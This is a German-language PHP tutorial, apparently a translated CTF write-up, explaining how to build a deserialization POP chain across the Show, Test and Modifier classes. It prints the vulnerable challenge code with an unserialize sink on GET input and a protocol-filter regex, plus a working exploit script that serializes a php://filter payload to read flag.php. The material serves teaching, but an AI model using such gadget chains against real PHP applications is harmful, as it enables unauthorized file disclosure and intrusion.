Heim  >  Artikel  >  Backend-Entwicklung  >  Detaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion

Detaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion

WBOY
WBOYnach vorne
2022-05-05 18:42:215563Durchsuche

Dieser Artikel vermittelt Ihnen relevantes Wissen über PHP, das hauptsächlich verwandte Themen zur Pop-Chain-Konstruktion vorstellt. Pop-Chain ist eine Art attributorientierte Programmierung, die häufig zum Erstellen von Aufrufketten verwendet wird. Ich hoffe, es hilft allen.

Detaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion

Empfohlenes Lernen: „PHP-Video-Tutorial

Während wir weiterhin mehr über Deserialisierung erfahren, lernen wir etwas über die Struktur der Pop-Kette. Für einen Neuling wie mich ist diese Pop-Kette immer noch schwer zu verstehen. Ich werde diesen Artikel noch einmal schreiben, um ihn zusammenzufassen und mein Verständnis für den Aufbau von Pop-Ketten zu vertiefen. Gleichzeitig sorgt es auch für ein gewisses Verständnis für Freunde, die in die Falle tappen wollen.

Pop-Chain-Konstruktion

Allgemeine Deserialisierungsprobleme, bei denen Lücken vorhanden sind oder bösartiger Code in die magische Methode eingefügt werden kann, können wir den Angriffseffekt erzielen, indem wir die magische Methode automatisch aufrufen. Wenn jedoch der Injektionspunkt in einer gewöhnlichen Klassenmethode vorhanden ist, ist die zuvor automatisch aufgerufene Methode ungültig. Daher müssen wir die Verbindung zwischen der gewöhnlichen Klasse und der magischen Methode finden, eine logische Idee herausfinden und diese logische Idee zum Konstruieren verwenden eine Pop-Kette, um den Zweck des Angriffs zu erreichen. Wenn wir diese Art von Pop-Fragen stellen, müssen wir daher der magischen Methode große Aufmerksamkeit schenken.

Einführung in die Pop-Kette

Es handelt sich um eine Methode der attributorientierten Programmierung, die häufig zum Aufbau von Aufrufketten verwendet wird. Suchen Sie nach einer Reihe von Anweisungen, die im Code der Frage aufgerufen werden können, und integrieren Sie diese Anweisungen in einen logischen Code, der böswillige Angriffseffekte erzielen kann. Dies ist die Pop-Kette (persönliches Verständnis, Meister können gerne Meinungen abgeben) bei der Konstruktion Pop-Kette, magische Methoden sind unerlässlich. Im Folgenden wird anhand eines Beispiels erläutert, wie die Pop-Kette aufgebaut ist, sowie die spezifischen Konstruktionsideen.

Der Fragecode:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

Konstruktionsideen

Finden Sie beim Aufbau der Anrufkette zunächst den Kopf und das Ende des Anrufs Kette. Der Header ist im Allgemeinen ein Ort, an dem Parameter übergeben und deserialisiert werden können, während der Tail im Allgemeinen ein Ort ist, an dem Schadcode ausgeführt werden kann. Bei der Prüfung des Codes für diese Frage verwendet der Header die Get-Methode, um Parameter an Pop zu übergeben, und der Tail enthält die Include-Funktion. An diesem Punkt sollten wir alle wissen, dass wir das PHP-Pseudoprotokoll verwenden müssen, um den Quellcode der Flag-Datei zu lesen. Nachdem Kopf und Schwanz nun gefunden sind, kennen wir auch die Angriffsmethode. Finden Sie dann die magische Methode in der Frage.

__invoke()    当一个类被当作函数执行时调用此方法。

__construct   在创建对象时调用此方法

__toString()  在一个类被当作字符串处理时调用此方法

__wakeup()    当反序列化恢复成对象时调用此方法

__get()       当读取不可访问或不存在的属性的值会被调用

In der Frage sind insgesamt diese fünf Zaubermethoden enthalten. Finden Sie dann die Verbindung zwischen gewöhnlichen Klassen und magischen Methoden.

Es ist nicht schwer zu erkennen, dass es in der Wakeup-Funktion eine preg_match-Funktion gibt, die verwendet wird, um sensible Zeichenfolgen in der Quelle zu finden. Wir können von hier aus beginnen und die Quelle einer Show-Klasse zuweisen, dann wird die toString-Funktion verwendet automatisch ausgelöst, daher müssen wir jetzt die tostring-Methode verwenden. Um die Kette zu erweitern, können wir der Testklasse in der totring-Methode zuweisen und die Quellvariable in der Testklasse lesen (da es keine gibt). (Quellattribut in der Testklasse, auf ein unzugängliches Attribut wird zugegriffen.) Anschließend wird automatisch die get magic-Methode aufgerufen. Es kann festgestellt werden, dass es einen Funktionsaufruf in der get-Methode gibt. Dann können wir $this->p der Modifier-Klasse zuweisen und die invoke-Methode wird automatisch aufgerufen, um das von uns geschriebene PHP-Pseudoprotokoll auszuführen (zuweisen). var-Attribut in der Modifer-Klasse zu unserem Schadcode hinzufügen)

An diesem Punkt erstellen wir die Pop-Kette.

Erklärung der Pop-Kette

<?php
class Modifier {
	protected $var=&#39;php://filter/read=convert.base64-encode/resource=flag.php&#39;;
}
class Show{
	public $source;
	public $str;
	function _construct(){
		$this->source=$file;
	}
}
class Test{
	public $p;
}
$a = new show();
$b = new show();
$c = new test();
$d = new Modifier();
$a->source=$b;
$b->str=$c;
$c->p= $d;
echo urlencode(serialize($a));
?>

Schreiben Sie zuerst die Klassen auf, die zur Bildung eines Frameworks verwendet werden, und geben Sie dann die Variablen in den Klassen an. Instanziieren Sie die verwendeten Klassen separat. Warum müssen Sie new show zweimal verwenden? die erste Instanziierung. Quelle = zum zweiten Mal instanziiert anzeigen)

Versuchen Sie, bei der Serialisierung die URL-Codierung zu verwenden (diese Frage enthält geschützte geänderte Attribute und es werden unsichtbare Zeichen vorhanden sein)

Empfohlenes Lernen: „PHP-Video-Tutorial

Das obige ist der detaillierte Inhalt vonDetaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen